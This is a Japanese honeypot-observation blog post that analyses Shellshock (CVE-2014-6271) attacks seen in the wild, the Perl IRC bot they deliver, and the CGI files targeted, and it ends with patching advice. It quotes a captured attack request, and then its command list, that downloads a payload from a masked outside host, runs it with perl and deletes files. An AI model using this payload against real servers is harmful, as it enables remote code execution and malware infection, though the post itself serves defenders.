ハニーポット観察記録(22)
こんにちは.(ちょっと良い匂いのする)ハニーポッターです.
今年の9月末に Bash の脆弱性(CVE-2014-6271 等)が公開されました.公開直後から,この脆弱性を狙った攻撃をハニーポットで検知しており,今だに収まる様子がありません.
今回はこの脆弱性を狙った,いともたやすく行われるえげつない行為の一部を紹介します.
攻撃解説
攻撃リクエストの内容の一部です.
GET /cgi-bin/test.cgi HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: () { :;};/usr/bin/perl -e ‘print “Content-Type: text/plain\r\n\r\nXSUCCESS!“;system(“cd /tmp/;mkdir error_log.db.147174;cd error_log.db.147174;wget http://*.*.*.*/error_log.db.147174;perl error_log.db.147174;lwp-download http://*.*.*.*/error_log.db.147174;fetch http://*.*.*.*/error_log.db.147174;curl -O http://*.*.*.*/error_log.db.147174;perl error_log.db.147174rm -rf ../access_log_184151;rm -rf ../localhost*;rm -rf ../gnu*”);’ Host: *.*.*.* Connection: Close |
※一部の情報を意図的に伏せています.
上記の攻撃は User-Agent に Bash の脆弱性を狙った,Perl で記述された攻撃コードが埋め込まれています.
攻撃の目的は何でしょうか? 大きくけて2つあると考えられます.
- 攻撃の成功を確認するための文字列を表示する
- マルウェアに感染させる
まず1)ですが,攻撃成功時には「XSUCCESS!」という文字列を表示させています.
この文字列は User-Agent に含まれているため,もし Web サーバを運用されている場合は,アクセスログで「XSUCCESS!」を grep すると,攻撃を受けていたかどうか分かるかもしれません.(User-Agent をログファイルに保存している場合)
この文字列の表示だけであれば,攻撃対象ホストに深刻な影響はありません.しかしながら,次の2)が問題です.
2)は system() 関数を用いた,OS コマンド実行からのマルウェア感染を狙った攻撃コードです.改行を入れ,見やすくしたものを下記に示します.
cd /tmp/ mkdir error_log.db.147174 cd error_log.db.147174 wget http://*.*.*.*/error_log.db.147174 perl error_log.db.147174 lwp-download http://*.*.*.*/error_log.db.147174 fetch http://*.*.*.*/error_log.db.147174 curl -O http://*.*.*.*/error_log.db.147174 perl error_log.db.147174rm -rf ../access_log_184151 rm -rf ../localhost* rm -rf ../gnu* |
作業ディレクトリを /tmp/ に変更し,error_log.db.147174 というディレクトリの作成と,外部ホストからファイルのダウンロードを試みています./tmp/ ディレクトリは通常はどんなユーザでもファイルの作成・実行が可能な領域です.
ファイルのダウンロードには,wget コマンドだけでなく,lwp-download や fetch, curl など複数のコマンドを利用していますが,アクセス先の URL は同一です.
ダウンロード後に perl コマンドでプログラムを実行し,マルウェアに感染させています.
マルウェア感染後はファイルの削除を試みていますが,ファイル名やディレクトリ名が異なっています.推測ですが,攻撃コードを使い回ししたことにより,今回の攻撃とは関係の無いファイルやディレクトリ名が残っているものと考えられます.
なお「(前略) error_log.db.147174rm (後略)」となっている部分は,私のコピペミスではなく,攻撃コードをそのまま転記しているので攻撃コードのミスです.攻撃者の人間臭さを感じますね.攻撃者も疲れているのでしょうか.
マルウェア解析
今回,外部ホストからダウンロードを試みているマルウェアはどのようなものか解析しました.
SHA1: ce0b99a444dede5899991e2767db5e52e026a69e
VirusTotal: https://www.virustotal.com/ja/file/dc406e127c1dae5e70c4b2dc4b63d6de92baf1b92f0961cafd1a1e611cdf71cb/analysis/1416006194/
実体は Perl で書かれた IRCBOT でした.
接続先は日本の IP で,ポート番号は 80/tcp です.この手の IRCBOT で接続先が日本というのは珍しい気がします.
利用する IRC チャネルは「#gnu」です.
機能として,下記のものを備えていました.
- ポートスキャン
- ファイルダウンロード
- コネクトバック用バックドア
- DoS
- バージョン情報表示 等
機能から推測すると,感染時の影響としては外部ホストに対する攻撃や,その他のマルウェアの二次感染などが考えられます.
VirusTotal の結果からは不審なファイルであるとの検出率が高く,また感染時の通信も 80/tcp の IRC 通信で内容に不審な点があることから,マルウェア対策や通信の監視をしていれば発見しやすい部類と考えられます.
狙われたファイル
最後に狙われたファイルについて紹介します.(この紹介をしたいがために,本ブログ記事を書きました)
冒頭では1つの攻撃リクエストを紹介していますが,ハニーポットではさらに多くの攻撃を検知しています.
下記の表は,1つの攻撃元 IP アドレスから攻撃対象となったファイルを uniq した結果です.
IP アドレス A | 218 |
IP アドレス B | 353 |
IP アドレス C | 354 |
IP アドレス D | 311 |
IP アドレス A〜D の各々の攻撃対象は少しずつ異なっており,IP アドレス C は最も多くのファイルを攻撃対象としていました.
全体の攻撃対象となったファイルの uniq を取ると,401 個のファイルがありました.ファイルの一覧をテキストにまとめてみました.→ 攻撃対象ファイル
なお攻撃対象のファイルの中に「/cgi-bin/printenvHTTP/1.0」のようなファイルがあります.おそらく攻撃者が攻撃対象一覧を作成したときに,ファイル名の入力かコピペにミスったのでしょう.疲れているのでしょうか
攻撃者が,どのような基準で攻撃対象ファイルの一覧を作成したのかは不明です.しかしながらファイル名から推測すると,テスト用のファイルや,ソフトウェアに付属しデフォルトで存在するファイルなどをリストアップして攻撃対象をまとめている可能性があると考えられます.
なお IP アドレス A〜Dによる攻撃はそれぞれ別々の日に検知しており,最初の攻撃は11月1日に検知していました.
まとめ
Bash の脆弱性を狙った攻撃リクエストの紹介および,攻撃コードに含まれるマルウェアの解析,狙われたファイルについて紹介しました.
既に Bash の脆弱性を解消したバージョンが公開されているため,バージョンアップすることを推奨します.
また攻撃の影響有無は,昨年に公開された CGI モードで動作する PHP の脆弱性(通称 Apache Magica)と異なり,攻撃対象のファイル内容に依存する点があります.ソフトウェアに付属しているデフォルトの cgi ファイルは,その処理内容を全て把握し,影響有無を確認することが困難な場合があることから,不要な cgi ファイルはアクセスさせないようにする(アクセス制限やファイルの削除)ことを推奨します.
参考情報
GNU bash の脆弱性に関する注意喚起 (JPCERT/CC)
https://www.jpcert.or.jp/at/2014/at140037.html
bash の脆弱性対策について(CVE-2014-6271 等) (IPA)
https://www.ipa.go.jp/security/ciadr/vul/20140926-bash.html
bashの脆弱性(CVE-2014-6271) #ShellShock の関連リンクをまとめてみた (piyolog)
http://d.hatena.ne.jp/Kango/20140925/1411612246